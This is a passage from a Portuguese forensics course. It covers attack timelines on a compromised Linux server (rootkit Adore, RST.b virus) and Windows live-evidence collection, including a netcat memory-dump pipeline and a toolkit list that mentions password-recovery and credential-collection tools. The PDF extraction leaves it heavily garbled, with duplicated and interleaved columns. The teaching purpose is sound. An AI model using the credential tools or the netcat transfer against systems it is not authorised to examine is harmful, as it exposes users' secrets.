as informações obtidas na máquina com outras fontes, tais
como logs de roteadores e firewalls, servidores de e-mail e de
se correlacionar diversas informações sobre a mesma
arquivos e informações obtidas em entrevistas com potenciais através de fontes diferentes. Por exemplo, se um log
suspeitos.
tem informações gravadas em determinada data e
horário, mas o inode que armazena este log indica
que o conteúdo do arquivo foi modificado em um horário anterior a esta informação
do log, provavelmente o log foi comprometido, pois existe inconsistência entre as
informações. No mínimo, o log não deve mais ser confiável.

Linha de tempo
p Exemplo: para definir quando uma máquina foi
iniciada ou instalada, podemos utilizar evidências
Para criar
P i uma linha
li h dde ttempo, o analista
li t ddeve: como a data de acesso ou a criação de arquivos
Descobrir quando a máquina foi instalada ou iniciada que somente são acessados ou criados durante o
Descobrir quando a máquina foi identificada como boot ou instalação, como os arquivos do /boot ou o
invadida, e o horário em qque começou
ç a atividade de arquivo /sbin/init, embora este último possa ter sido
análise forense e de contenção do ataque
modificado por um rootkit.
Obter informações do momento em que a máquina foi
efetivamente desligada
Registrar informações de tempo das evidências A definição dos horários em que a máquina foi invadida
coletadas pode vir de fontes externas, como entrevistas com
suspeitos ou responsáveis pela máquina e também
pelo registro da tela do computador, como no caso
do nosso exemplo.

Ferramentas
Ferramentas

O analista deve utilizar as ferramentas para coletar informações sobre as O analista deve utilizar as ferramentas vistas ante-
evidências encontradas:
#istat/data/compromised/compromised_hda1.img30578
riormente para coletar informações de tempo das
inode:30578 evidências encontradas:
Allocated
Group:2
uid/gid:0/0 # istat /data/compromised/compromised_hda1.img 305788
mode:ŞrwŞrŞŞrŞŞ
i 228
size:228
inode: 30578
numoflinks:1 Allocated
InodeTimes:
Group: 2
Accessed:SunAug1016:26:182003
FileModified:WedAug612:09:172003 uid / gid: 0 / 0
InodeModified:WedAug612:09:172003 mode: -rw-r--r--
DirectBlocks:
71142
size: 228
num of links: 1
Inode Times:
Accessed: Sun Aug 10 16:26:18 2003
File Modified: Wed Aug 6 12:09:17 2003
Inode Modified: Wed Aug 6 12:09:17 2003
Direct Blocks:
71142

Análise forense – Sessão de aprendizagem 7


117

No exemplo acima examinamos o conteúdo do inode que armazena o arquivo /etc/


issue, criado quando a máquina é iniciada. Ele é acessado sempre que ocorre um
login no sistema localmente ou remotamente por telnet ou ssh.

Verificamos este acesso às 16:26:18, e a criação do arquivo no dia 6 de


agosto, às 12:09.

# fls -alrp -m / -z PDT /data/compromised/compromise


Ferramentas d_hda1.img | mactime -g /mnt/image/etc/group
-p /mnt/image/etc/passwd > /data/compromised/
compromised_hda1.img8
Algumas ferramentas podem facilitar o trabalho de coleta de informações:
# fls -alrp -m / -z PDT Sun Sep 25 1983 18:45:00 48856 m.. -/-rwxr-xr-x roo
/data/compromised/compromised_hda1.img | mactime -g t root 92017 /usr/bin/top
/mnt/image/etc/group -p /mnt/image/etc/passwd >
/data/compromised/compromised_hda1.img 8268 m.. -/-rwx------ root root 92010 /usr/bin/sl2
Sun Sep 25 1983 18:45:00 48856 m.. -/-rwxr-xr-x root 4060 m.. -/-rwxr-xr-x root root 92009 /usr/bin/sense
root 92017 /usr/bin/top
8268 m.. -/-rwx------ root root 92010 /usr/bin/sl2 Sun Aug 10 2003 14:33:19 36692 .a. -/-rwxr-xr-x roo
4060 m.. -/-rwxr-xr-x root root 92009 t root 92022 /bin/ls
/usr/bin/sense
8268 .a. -/-rwx------ root root 92010 /usr/bin/sl2
Sun Aug 10 2003 14:33:19 36692 .a. -/-rwxr-xr-x root
root 92022 /bin/ls 2 .a. -/-rw-r--r-- root root 92023 /usr/lib/libsss
8268 .a. -/-rwx------ root root 92010 /usr/bin/sl2
2 .a. -/-rw-r--r-- root root 92023 /usr/lib/libsss

O comando acima cria o arquivo de linha de tempo


de toda atividade de disco da imagem analisada.
Podemos ver abaixo alguns exemplos de atividade.

No dia 25 de setembro de 1983, às 18:45:00, ocorreu uma atividade de modifi-


cação de conteúdo (vide m.. na listagem) em três arquivos. Sendo ela anterior à
instalação do sistema, podemos imaginar que estes arquivos estavam dentro de
um arquivo TAR e foram descompactados no sistema.

Podemos ver adiante uma atividade de acesso a outros arquivos (.a. na listagem)
indicando que os mesmos foram lidos ou executados. O outro campo na coluna
de atividade indica mudança no inode do arquivo (..c) e pode indicar quando o
arquivo foi criado ou apagado, mas também quando as informações sobre o
arquivo foram alteradas: troca de dono do arquivo, troca de atributos etc.

Correlação
ç de informações
ç
Correlação de informações

Informações coletadas na máquina precisam ser


É importante lembrar das configurações de timezone
correlacionadas com fontes externas: da máquina invadida e da estação forense do investi-
Logs de firewall
gador, e sempre correlacionar logs externos levando
Logs de roteadores
Logs de servidores de e-mail
e mail em conta as diferenças de timezone.
Entrevistas com suspeitos
Descrições e documentação na internet Por exemplo, o timezone da máquina está configurado
As informações de datas devem estar sempre com o mesmo
timezone para evitar inconsistências.
inconsistências para PDT (Pacific Daylight Time, ou GMT-8) e o da
É importante que as máquinas estejam com os horários estação forense para MST (Mountain Standard Time,
sempre corretos, de preferência atualizados pelo serviço NTP.
padrão do Helix, ou GMT-8). O timezone oficial no
Brasil é GMT-3 ou GMT-2 durante o horário de verão,
e isto deve ser levado em consideração quando o
investigador for analisar evidências em uma máquina com timezone diferente
daquele da máquina investigada.

Linha de tempo e reconstrução do ataque


118
Escola Superior de Redes RNP

Sun Aug 10 2003 16:30:30 0 mac -/---------- root ro


Correlação
ç de informações
ç ot 35804 /dev/hdx1
5833 /dev/hdx2
0 mac -/---------- root root 3

As evidências
A idê i encontradas
t d ddevem ser correlacionadas
l i d Sun Aug 10 2003 16:30:52 5636 ma. -/-rw-r--r-- root
com as informações de tempo fornecidas pelas root 47169 /usr/lib/adore.o
f
ferramentas
t fforenses:
No exemplo temos a criação dos arquivos /dev/hdx1
SunAug10200316:30:300macŞ/ŞŞŞŞŞŞŞŞŞŞ rootroot35804/dev/hdx1 e /dev/hdx2, que normalmente indicam uma infecção
0macŞ/ŞŞŞŞŞŞŞŞŞŞ rootroot35833/dev/hdx2
pelo vírus RST.b. Vimos em sessões anteriores que
o antivírus detectou a presença deste vírus em diver-
SunAug10200316:30:525636ma.Ş/ŞrwŞrŞŞrŞŞ rootroot47169
/usr/lib/adore.o
sos arquivos na máquina, o que pode indicar que tais
ferramentas foram executadas.

No exemplo seguinte temos indicações de acesso e


modificação de conteúdo do arquivo adore.o, o executável do rootkit Adore, indi-
cando que o mesmo foi instalado na máquina com sucesso.

Reconstrução
ç do ataque
q
Reconstrução do ataque

Logicamente, todas as informações de conexão


Após
A ó encontrar
t e correlacionar
l i iinformações
f õ dde ttempo
das evidências coletadas, o analista deve tentar remota devem ser correlacionadas a logs externos
reconstruir
t i as ações
õ executadas
t d pelosl invasores,
i ao servidor comprometido, para garantir a validade
desde o momento da invasão até o momento em que a
dos mesmos. Outra forma de verificar informações
máquina
á i ffoii llevada
d para análise
áli
A reconstrução do ataque deve tentar descobrir o e identificar evidências é utilizando mecanismos de
modo como o invasor obteve acesso ao sistema, procura, como o Google.
identificando possíveis vulnerabilidades e ferramentas
utilizadas no ataque e no controle do sistema
Além disso, todas as informações de tempo devem ser
Uma boa prática é criar uma tabela descrevendo os
eventos de acordo com a linha de tempo relativas ao mesmo timezone. Todas as ferramentas do
pacote forense analisado têm opções para mostrar as
informações de datas em timezones diferentes.

Um bom relatório de análise forense deve ser composto


Reconstrução
ç do ataque
q
por uma reconstrução o mais detalhada possível de tudo
que aconteceu na máquina, bem como uma análise dos
Data Ação / Evidência

06/Ago/2003 11:16:40 Last login: Wed Aug 6 11:16:40 on tty2 métodos e técnicas utilizadas pelo invasor, inclusive com
06/Ago/2003 12:09:17 Reinicialização do servidor (/etc/issue). possíveis soluções e técnicas para proteção e detecção
10/Ago/2003 13:24:29 Possível comprometimento do serviço HTTPS.
deste tipo de ação no futuro.
10/Ago/2003 13:33:57 Parada dos serviços syslogd e klogd.

10/Ago/2003 14:33:19 Possível instalação das ferramentas descritas na


URL www.ntfs.com/ntfs-mft.htm

10/Ago/2003 15:52:10 Parada do serviço HTTPD.

10/Ago/2003 16:30:30 Infecção pelo vírus RST.b.

10/Ago/2003 16:30:52 Instalação do rootkit Adore.

10/Ago/2003 20:30:39 Começo da investigação (comando date no console)

Análise forense – Sessão de aprendizagem 7


119

Reconstrução
ç do ataque
q

Finalmente,
Fi l t o analista
li t ddeve id
identificar
tifi possíveis
í i
soluções para os problemas e vulnerabilidades
id tifi d
identificados
Se possível, devem ser sugeridas formas de se
proteger ou identificar atividades como as ocorridas
no sistema analisado
Esta parte da análise forense permite ao responsável
pela máquina
p q invadida entender o que
q aconteceu, p
para
que possa se proteger de futuros ataques

Conclusões
Conclusões

Vimos como organizar as evidências encontradas numa


Aprendemos
A d a organizar
i as evidências
idê i encontradas
t d
numa linha de tempo, identificando os momentos linha de tempo, identificando os momentos chaves
chaves
h d
da iinvasão
ã e o comprometimento
ti t ddo servidor.
id da invasão e o comprometimento do servidor.
A linha de tempo é uma ferramenta indispensável para
analisar o sistema.
A linha de tempo é uma ferramenta indispensável
O objetivo
j final da análise forense e do relatório de
reconstrução do ataque é criar um documento que para analisar o sistema e responder às perguntas
possa ser utilizado p
p pela empresa
p como conhecimento “Quando?” e “Como?” relativas à invasão. Estudamos
formalizado a partir dos erros e prevenção contra
ainda os pontos importantes que devem ser destacados
futuros ataques.
em um relatório de reconstrução do ataque.

Na próxima sessão conheceremos as principais fer-


ramentas e técnicas existentes para realizar a análise
forense em ambiente Windows.

Muitas das técnicas e teorias vistas nas sessões sobre análise forense em Linux
podem e devem ser utilizadas em ambientes Windows, embora existam algumas
diferenças importantes que devem ser levadas em consideração.

Linha de tempo e reconstrução do ataque


120
Escola Superior de Redes RNP

Análise forense – Sessão de aprendizagem 7


7
Sessão de aprendizagem 7
Linha de tempo e reconstrução do ataque
Roteiro de atividades

Tópicos e conceitos

\\Identificarquando e como ocorreu a invasão, dando uma visão clara do


ataque e dos métodos utilizados pelo invasor.

Competências técnicas desenvolvidas

\\O aluno aprenderá a identificar a linha do tempo do ataque e identificar os


eventos ocorridos no sistema comprometido.

Outras competências desenvolvidas

\\Capacidade de investigação e pesquisa do aluno.

Tempo previsto para as atividades

\\90-120 minutos
122
Escola Superior de Redes RNP

Atividade 1 – Determinando a linha do tempo

Muitas ferramentas foram instaladas no sistema durante a ação dos


invasores. Vimos na sessão 5 que existia um arquivo TAR que não havia
sido apagado, mas movido de diretório. O arquivo chama-se /data/
compromised/s.tgz. Com um colega, tente identificar na linha de tempo
informações que confirmem se os arquivo e ferramentas foram utilizados
efetivamente pelos invasores. Lembre-se de que quando um arquivo é
executado, o seu tempo de acesso é modificado. Quando ele é criado, o
comando fls mostra mudanças nos tempos de acesso e modificação de
status do arquivo ao mesmo tempo. Faça um relatório com suas conclusões.

Atividade 2 – Identificando os eventos

No material do aluno existe uma tabela Excel chamada timeline.xls, com


todos os eventos encontrados na sessão 4 e sessões anteriores a ela,
cadastrados de acordo com sua data de ocorrência. Complete esta tabela
com as informações coletadas por você e seu colega nos exercícios das
três sessões anteriores e nos resultados do exercício anterior. Após montar
a tabela, apresente o resultado aos colegas de turma. Lembre-se de fornecer
evidências que comprovem as atividades identificadas e catalogadas.

Análise forense – Sessão de aprendizagem 7


8
Sessão de aprendizagem 8
Análise forense em Windows

Sumário da sessão

Análise forense em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124

Sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125

Kit de ferramentas forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126

Primeiras ações. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129

Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133

Atividade 1 – Coleta de evidências em Windows. . . . . . . . . . . . . . . . . . . . . . . 134

Atividade 2 – Classificando as ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . 134

Atividade 3 – Busca de outras ferramentas para Windows. . . . . . . . . . . . . . . . 134


124
Escola Superior de Redes RNP

Análise forense em Windows


Análise forense em Windows

Devido ao fato de sistemas Windows terem grande


O processo d de análise
áli fforense em um sistema
i t
Windows não difere do ambiente Unix presença em ambientes de desktop de empresas
Principal diferença: informações voláteis e usuários caseiros, o tipo de incidente que geral-
Windows tem g grande presença
p ç em desktop p de mente envolve uma máquina com este sistema é um
empresas e usuários caseiros pouco diferente do que normalmente acontece com
(on-line)
Resultado: análise em um sistema vivo (on line)
sistemas Linux utilizados em servidores.

Toda a metodologia utilizada nas sessões anteriores


ainda é válida neste caso. A principal diferença é que
em sistemas Windows as informações mais desejadas
são voláteis e somente podem ser obtidas no sis-
tema vivo (live system ou on-line), o que exige a reali-
zação de procedimentos de coleta de dados ao vivo.
Análise forense em Windows
Existe uma diferença grande entre os diversos tipos
Principais
P i i i razões õ no comprometimento
ti t dde um sistema
i t
Windows: de incidentes que ocorrem em uma máquina com-
Sistema infectado por vírus ou código malicioso prometida. Por exemplo, em um caso de máquina
Caso envolvendo direitos autorais infectada por vírus, o procedimento que geralmente
Pornografia se toma é a formatação da máquina sem maiores
Fraude investigações.
Presença de trojan ou backdoor
Utilização do sistema de forma maliciosa
No caso de utilização maliciosa do sistema ou de
fraude, muitas vezes as autoridades serão envolvidas
e, nestes casos, não é necessário coletar muitas
evidências em sistemas vivos, mas sim manter a
máquina do suspeito sob custódia para que seja
investigada pela autoridade policial competente.

Em casos de pornografia infantil, o investigador tem que tomar muito cuidado


com a coleta de evidências, pois a lei não permite a transmissão ou cópia do
material pornográfico, o que pode causar problemas jurídicos para o investigador
e para a empresa. É recomendável entrar em contato com as autoridades policiais
o mais rápido possível e discutir com eles a melhor ação a ser tomada. Não é
possível simplesmente desligar a máquina, pois ela pode estar sendo monitorada
como parte de uma investigação mais ampla.

Análise forense – Sessão de aprendizagem 8


125

Sistema de arquivos
q
Sistema de arquivos

O Windows Vista também utiliza o sistema NTFS


Si t
Sistema d
de arquivos
i NTFS
Padrão no Windows XP e Vista como padrão, mas implementa no sistema de arqui-
Windows Vista implementa o TxF em cima do NTFS vos uma outra estrutura chamada Transactional File
Versão atual: 3.1
Veremos ferramentas para NTFS,
NTFS mas a maioria funciona em FAT e
System (TxF). Este sistema de arquivos implementa
FAT32
Uma partição NTFS é composta de diversas estruturas, sendo que a
uma estrutura de banco de dados em cima do
principal é a Master File Table (MFT)
NTFS, permitindo diversas funcionalidades ofereci-
das pelo Windows Vista.

Os sistemas de arquivos compatíveis com o


Sistema de arquivos
q Windows são os seguintes: FAT (File Alocation Table),
FAT32, NTFS e TxF. Do ponto de vista do usuário,
a grande diferença está no aumento da capacidade das partições que cada
Si ttrabalhar.
Sistema
sistema pode d
deOarquivos
i FATNTFS
sistema permite no máximo partições de 32 giga-
bytes, enquanto as versões mais recentes do NTFS e do TxF permitem partições
Padrão no Windows XP e Vista
superiores a 2 terabytes.
Windows Vista implementa o TxF em cima do NTFS
Versãopresente
A primeira informação atual: 3.1em um volume NTFS é o Partition Boot Sector e
Veremos
o primeiro arquivo do volumeferramentas
NTFS épara NTFS mas
NTFS,
o Master FileaTable.
maioriaOfunciona
sistemaem FAT e
operacional
FAT32
reserva sempre 12% do tamanho do disco para armazenar o MFT, espaço sempre
contínuo a partir Uma partição
do início do NTFS
disco.é composta de diversas estruturas, sendo que a
principal é a Master File Table (MFT)

Sistema de arquivos
q Estas estruturas são importantes quando se tenta
recuperar informações sobre o sistema de arqui-
O MFT é composto de 16 registros,
registros sendo que somente 12 são vos com as ferramentas de análise forense que
utilizados atualmente: vimos anteriormente.
$MFT – Master File Table
$MftMirr – Cópia de Master File Table
$LogFile – Arquivo de registro de eventos do NTFS A área que sobra da MFT após armazenar os regis-
$Volume – Informações sobre o volume
$AttrDef – Definições de atributos tros acima serve para armazenar as informações
$ – Diretório
$. Di tó i raizi do
d sistema
i t
de arquivos e diretórios do sistema.
$Bitmap – Mapa de utilização de clusters
$Boot – Setor de boot da partição
$BadClus – Lista de bad cluster
$Secure – Informações sobre segurança
$Upcase – Tabela de conversão de caracteres
$Extend – Arquivo de extensões do NTFS

Análise forense em Windows


126
Escola Superior de Redes RNP

Os registros sobre arquivos são armazenados na


Sistema de arquivos
q
forma de atributos, equivalentes aos inodes no Linux.
Os arquivos são armazenados como uma série de atributos,
atributos
Entretanto, o NTFS armazena muito mais informações
equivalentes aos inodes no Linux: sobre os arquivos.
Standard Information – Inclui informações como timestamps e número de links
Attribute List – Lista a localização de todos os atributos do arquivo
File Name – Armazena o nome do arquivo
S
Security
it D
Descriptor
i t – Informações
I f õ sobreb o dono
d do
d arquivo
i e permissões
i õ dde acesso
Os atributos de nome de arquivos podem ser repetidos
Data – Armazena os dados do arquivo arbitrariamente e permitem armazenar o nome MS-DOS
Object ID – Identificador único de arquivo
Logged Tool Stream – Registro de mudanças do metadado do arquivo (8.3 caracteres), nomes longos (255 carac-
Reparse Point – Ponto de junção para diretórios e volumes
Index Root – Usado para implementar índice de arquivos e diretórios teres), além de nomes de links para o arquivo.
Index Allocation – Usado para implementar índice de arquivos e diretórios
Index Bitmap – Usado para implementar índice em diretórios muito longos
Volume Information – Contém a versão do volume O atributo de dados é utilizado para armazenar o
Volume Name – Contém o nome do volume
conteúdo dos arquivos. Uma diferença importante no
NTFS é a possibilidade de existir mais de um atributo
de dados para um mesmo arquivo. Isto é, um mesmo arquivo pode armazenar
múltiplos conteúdos totalmente distintos, processo conhecido como Alternate Data
Streams. Conheceremos este tipo de estrutura nas próximas sessões.

Kit de ferramentas forense


Kit de ferramentas forense

Capaz de reproduzir resultados


O kit possui ferramentas capazes de reproduzir o
Não altera os dados analisados mesmo resultado quando executadas em condições
Mí i de
Mínimo d iinterferência
t f ê i possível
í l similares, ou seja, duas ferramentas precisam gerar
Possui validade jurídica o mesmo resultado sob as mesmas condições para
provar que não interferem nos dados.
Graphical
p User Interface (GUI)
( )
X
Console User Interface (CUI) A ferramenta não deve realizar nenhuma alteração
quando examina alguma evidência. Este fato pode
ser comprovado pela comparação de hashes cripto-
gráficos (MD5, SHA1).

Outra característica delas deve ser interferir o mínimo possível no ambiente onde
coletam dados, ou seja, quanto menor o grau de interação da ferramenta com
o ambiente, menor a ocorrência de contaminação de evidências. Devem possuir
validade jurídica e/ou ser aceitas como instrumentos de coleta de evidências.

Para o processo de interação com sistema vivo é recomendada a utilização de


ferramentas de comando de linha, pois elas causam uma interferência menor no
ambiente analisado. Já para análises em imagens e evidências, pode-se utilizar
ferramentas com interface gráfica, uma vez que esta etapa é realizada na estação
de análise forense.

Análise forense – Sessão de aprendizagem 8


127

\\Custo – Algumas opções comerciais podem ser caras


Kit de ferramentas forense
demais para serem utilizadas esporadicamente.
Outros
O t pontos t a considerar:
id \\Licenciamento – Algumas ferramentas não podem
Custo ser distribuídas em CDs. Seu uso, mesmo que
Licenciamento gratuito, necessita que a ferramenta seja obtida
Código fonte
Código-fonte
diretamente do autor.
Portabilidade
\\Código-fonte – Muitas das opções gratuitas possuem
código aberto, o que permite que sejam auditadas
para garantir que os resultados não sejam alterados
e não possuam ações não declaradas.

\\Portabilidade – Algumas ferramentas podem ser


utilizadas em diversos sistemas operacionais,
o que pode facilitar sua escolha em razão da
familiaridade de uso.

O Live CD do Helix pode ser usado em ambientes


Kit de ferramentas forense
Windows, pois contém um pacote de ferramentas
úteis para coleta de evidências em sistemas vivos:
Ferramentas disponíveis no Live CD do Helix:
2K Imager
g Sysinternals
y \\2K – Executáveis básicos do sistema para Windows
2K3 IRCR System Tools 2000 (cmd.exe, netstat.exe, ifconfig.exe etc).
AgileRM Microsoft UnxUtils
Bin Net Latency Vista
Contém também o Windows 2000 Resource Kit;
Cygwin Nir Soft WFT
\\2K3 – Executáveis básicos do sistema para Windows
DiamondCS NT WinDBG
FAU NT Security Winfingerprint 2003 (cmd.exe, netstat.exe, ifconfig.exe etc);
Foundstone PCtime XP
FSP Perl cmdenv1 bat
cmdenv1.bat \\AgileRM (Nigilant32) – Ferramenta de auxílio ao
Hoverdesk Putty NC_Server.bat investigador que permite realizar cópia do disco
e de memória de sistemas Windows, além de
coletar informações sobre registro e processos
em execução, entre outras funções;

\\Bin – Contém ferramentas variadas para coleta de evidências. Entre elas,


podemos citar foremost.exe, nc.exe, sha1deep.exe, além de ferramentas para
coletar o registro do Windows e nomes de usuários e senhas do sistema;

\\Cygwin – Ferramentas Unix portadas para Windows: strings, cat, file, wget,
less e ls, entre outras;

\\DiamondCS (DiamondCS tools) – Ferramentas para coletar nomes de


processos, portas abertas e conexões ativas na máquina;

\\FAU (Forensic Acquisition Utilities) – Ferramentas para coleta de evidências;


inclui dd, nc, volume_dump, md5sum e wipe;

\\Foundstone – Ferramentas para coleta de evidências: análise de cookies,


históricos do Internet Explorer, portas abertas, entre outros;

\\FSP – Ferramenta cliente/servidor para coleta de dados voláteis remotamente;

\\ Hoverdesk – Ferramenta para capturar snapshot da tela;

Análise forense em Windows


128
Escola Superior de Redes RNP

\\Imager (FTK Imager) – Ferramenta para coleta de evidências e imagem de disco;

\\IRCR – Coleção de scripts BAT para automatizar a execução de diversas


ferramentas do Live CD do Helix;

\\Microsoft – Algumas ferramentas do Windows para versões antigas (Windows


98 e ME);

\\Net Latency – Duas ferramentas para mostrar espaço livre em disco e


serviços rodando na máquina;

\\Nir Soft – Diversas ferramentas para recuperação de senhas do Windows e


aplicativos;

\\NT – Executáveis básicos do sistema para Windows NT;

\\NT Security – Ferramentas para coleta de informações de segurança do disco


e do Windows;

\\PCtime – Ferramenta para sincronização de tempo com NTP;

\\Perl – Ferramentas para identificação de modem, Alternate Data Streams,


coleta de mac times e de interfaces de rede;

\\Putty – Cliente SSH de uso livre;

\\Sysinternals– Ferramentas para coleta de informações sobre processos,


conexões e serviços, entre outras informações;

\\System Tools – Ferramentas para coletar informações sobre usuários, eventos


do log do Windows, usuários e políticas de segurança instaladas na máquina;

\\UnxUtils – Algumas ferramentas de Unix portadas para Windows;

\\Vista – Executáveis básicos do sistema para Windows Vista (cmd.exe, netstat.


exe, ifconfig.exe etc);

\\WFT (Windows Forensic Toolchest) – Instrumento para automatizar a execução


de diversas ferramentas e sumarizar os resultados;

\\WinDBG – Depurador de código para Windows;

\\Winfingerprint– Ferramenta para coletar informações sobre processos e DLLs


associadas a eles;

\\XP – Executáveis básicos do sistema para Windows XP (cmd.exe, netstat.exe,


ifconfig.exe, etc);

\\cmdenv1.bat – Arquivo BAT para modificar variáveis de ambiente visando a


utilização exclusiva das ferramentas do CD do Helix, evitando assim que se
use as ferramentas possivelmente comprometidas do sistema;

\\NC_Server.bat – Arquivo BAT para iniciar um servidor Netcat na máquina.

Análise forense – Sessão de aprendizagem 8


129

As ferramentas que compõem o kit de análise


Kit de ferramentas forense
forense devem ser gravadas impreterivelmente em
Outras fontes de ferramentas:
mídia que não permita contaminação, como é o caso
www.sysinternals.com do Live CD do Helix. Mesmo com esse procedimento
www.foundstone.com
f d t é necessário possuir os hashes criptográficos
users.erols.com/gmgarner/forensics
(md5sum ou sha1sum) de todos os arquivos para
Wi d
Windows R
Resource Kit – www.microsoft.com
i ft
Windows XP Service Pack 2 Support Tools – garantir que a ferramenta em uso não foi modificada.
www microsoft com
www.microsoft.com
GNU utilities for Win32 – unxutils.sourceforge.net
Win32 Forensics Tools – www.first.org
first org
A relação dos hashes deve ser armazenada na
http://www.forensicswiki.org/index.php?title=Helix mesma mídia das ferramentas.
htt // f i t d /f i /f i t l ht l
http://www.forinsect.de/forensics/forensics-tools.html
http://www.opensourceforensics.org/tools/windows.html
No diretório \IR e também no Live CD do Helix (dire-
tório \IR) o aluno pode encontrar as assinaturas MD5
das ferramentas disponíveis.

Primeiras ações
ç
Primeiras ações

Primeiras ações:
As primeiras ações do investigador ao ter acesso a
Preservar evidências um sistema vulnerável podem comprometer evidên-
C l t evidências
Coletar idê i mais i voláteis
lát i cias se não forem tomados cuidados com a ordem
Verificação externa do sistema:
de coleta das evidências.

Números de
d série
éi
Dispositivos conectados
E t d gerall ddo sistema
Estado i t Preferencialmente, o investigador deve começar a
Conectividade
coleta de evidências por aquelas mais voláteis e
Energia
Tela do sistema (console): que não poderão ser reproduzidas posteriormente.
Fotografia Entre essas evidências estão as informações sobre
Print-screen (compromete a memória) o ambiente onde a máquina está localizada, sobre a
tela do computador e sobre a memória RAM.

O primeiro passo ao interagir com um sistema é fazer a correta identificação do


mesmo, verificando número de série, de patrimônio ou qualquer outra numeração
que permita ter certeza de que se trata do sistema investigado. Isto permite tam-
bém identificar corretamente o sistema caso seja necessário.

A interação com o sistema deve ser presenciada preferencialmente por um repre-


sentante legal, para garantir a validade do processo, e todos os passos devem
ser cuidadosamente registrados para posterior verificação.

Deve-se evitar capturar a tela do computador com um print screen, pois com isso
perdem-se as informações que estavam na área de transferência (clipboard) e
podem ser comprometidas as evidências em memória.

O kit de ferramentas pode estar disponível em um CD ou drive USB, sendo que a


utilização de um CD é mais recomendável, pois interfere menos no sistema. Como
unidade de armazenamento dos dados coletados podemos utilizar um drive USB,
ou enviar os dados remotamente para a estação forense do investigador.

Análise forense em Windows


130
Escola Superior de Redes RNP

Eventualmente essa configuração pode não estar disponível no sistema a ser ana-
lisado, razão pela qual devemos possuir mídias alternativas, como disco Firewire
ou até mesmo uma cópia do kit em disquetes.

cmd.exe

Podemos ver acima o comando utilizado para executar o prompt de comandos, a


partir do item “Executar” do menu do Windows.

Após executar o prompt, existe um arquivo BAT chamado cmdenv.bat dentro do


diretório \IR\xp, que modifica a variável PATH do sistema para apontar somente para
os diretórios de ferramentas no CD. Dessa forma, garantimos que não executaremos
nenhuma ferramenta comprometida no sistema.

O investigador deve sempre se lembrar desse passo que garante a validade das
evidências coletadas.

Imagem da memória na estação forense:

D:\IR\xp> nc -l -p 999 > d:\tmp\physmem.img8

Imagem da memória na máquina comprometida:


Primeiras ações
ç
D:\IR\xp> dd if=\\.\Physicalmemory conv=noerror | n
c 127.0.0.1 9998
I
Imagem d
da memória
ói Command Line: dd if=\\.\Physicalmemory conv=noerror
Na estação forense: 27/01/2008 23:12:59 (UTC)
D:\IR\xp>nc l p999>d:\tmp\physmem img
D:\IR\xp>ncŞlŞp999>d:\tmp\physmem.img
27/01/2008 21:12:59 (local time)
Na máquina comprometida:
D:\IR\xp>ddif=\\.\Physicalmemoryconv=noerror|nc127.0.0.1999 Current User: COMPUTADOR\usuario
CommandLine:ddif=\\.\Physicalmemoryconv=noerror
27/01/200823:12:59(UTC) Total physical memory reported: 1047024 KB
27/01/200821:12:59(localtime)
CurrentUser:COMPUTADOR\usuario
Copying physical memory...
Totalphysicalmemoryreported:1047024KB
Physical memory in the range 0x00100000-0x001ff000 c
Copyingphysicalmemory...
y y g
Physicalmemoryintherange0x00100000Ş0x001ff000couldnotberead. ould not be read.
Stoppedreadingphysicalmemory:
27/01/200823:14:07(UTC)
Stopped reading physical memory:
27/01/200821:14:07(localtime) 27/01/2008 23:14:07 (UTC)
261871+0recordsin
261871+0recordsout 27/01/2008 21:14:07 (local time)
261871+0 records in
261871+0 records out

Análise forense – Sessão de aprendizagem 8


131

Para realizar a imagem da memória não é recomendável utilizar as ferramentas


gráficas do CD de ferramentas, pois como elas serão carregadas na memória,
provavelmente vão sobrescrever evidências que poderiam ser úteis.

Portanto, vamos utilizar a ferramenta dd.exe disponível no pacote de ferramentas,


pois esta é uma versão com suporte à coleta de memória RAM, além de outras
funcionalidades.

Para utilizar o dd, precisamos especificar um dispositivo especial chamado \\.\


PhysicalMemory que dá acesso à memória física do sistema. Para garantir a pre-
servação de evidências, esta versão da ferramenta dd não permite gravação de
arquivos em dispositivos locais, de modo que precisamos redirecionar a saída do
comando para o comando netcat, como vimos em sessões anteriores.

Para garantir a coerência das evidências e identificar


Primeiras ações
ç
modificações causadas no sistema pelo investigador
Hora d
H do sistema
i t
e diferenciá-las das modificações provocadas pelo
Necessário conhecer horário correto e timezone da invasor, é importante identificar corretamente o horário
máquina e o timezone do sistema.
Garante a correlação
ç de evidências com registros
g
externos
Desta forma, se houver alguma diferença entre
D:\IR\xp>date/t o horário da máquina comprometida e a estação
dom27/01/2008
forense, ela pode ser levada em conta na hora de
D:\IR\xp>time/t analisar as evidências coletadas.
21:41

Versões diferentes de sistema operacional fornecerão


resultados distintos para os comandos acima.
Algumas versões do comando date mostram tam-
bém o horário da máquina.
Primeiras ações

Hora do sistema Hora do sistema:


D:\IR\xp> reg query
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneIn
formation  D:\IR\xp> reg query HKEY_LOCAL_MACHINE\SYSTEM\Curre
Listing of ntControlSet\Control\TimeZoneInformation8
[SYSTEM\CurrentControlSet\Control\\TimeZoneInformation]
REG_DWORD Bias 180 Listing of [SYSTEM\CurrentControlSet\Control\\TimeZ
REG_SZ StandardName E. South America Standard Time
REG_DWORD StandardBias 0 oneInformation]
REG_BINARY StandardStart Data to follow:
REG_DWORD Bias 180
00000200 03000000 00000000 00000000
REG_SZ DaylightName E. South America Daylight Time
REG_SZ StandardName E. South America Standard Time
REG_DWORD DaylightBias -60 REG_DWORD StandardBias 0
REG_BINARY DaylightStart Data to follow:
REG_BINARY StandardStart Data to follow:
00000A00 02000000 00000000 00000000
REG_DWORD ActiveTimeBias 120

00000200 03000000 00000000 00000000


REG_SZ DaylightName E. South America Daylight Time
REG_DWORD DaylightBias -60
REG_BINARY DaylightStart Data to follow:

00000A00 02000000 00000000 00000000


REG_DWORD ActiveTimeBias 120

Podemos fazer uma consulta no registro para descobrir o timezone. Além disso, já
vimos que o comando dd fornece a hora do sistema em horário UTC e horário local.
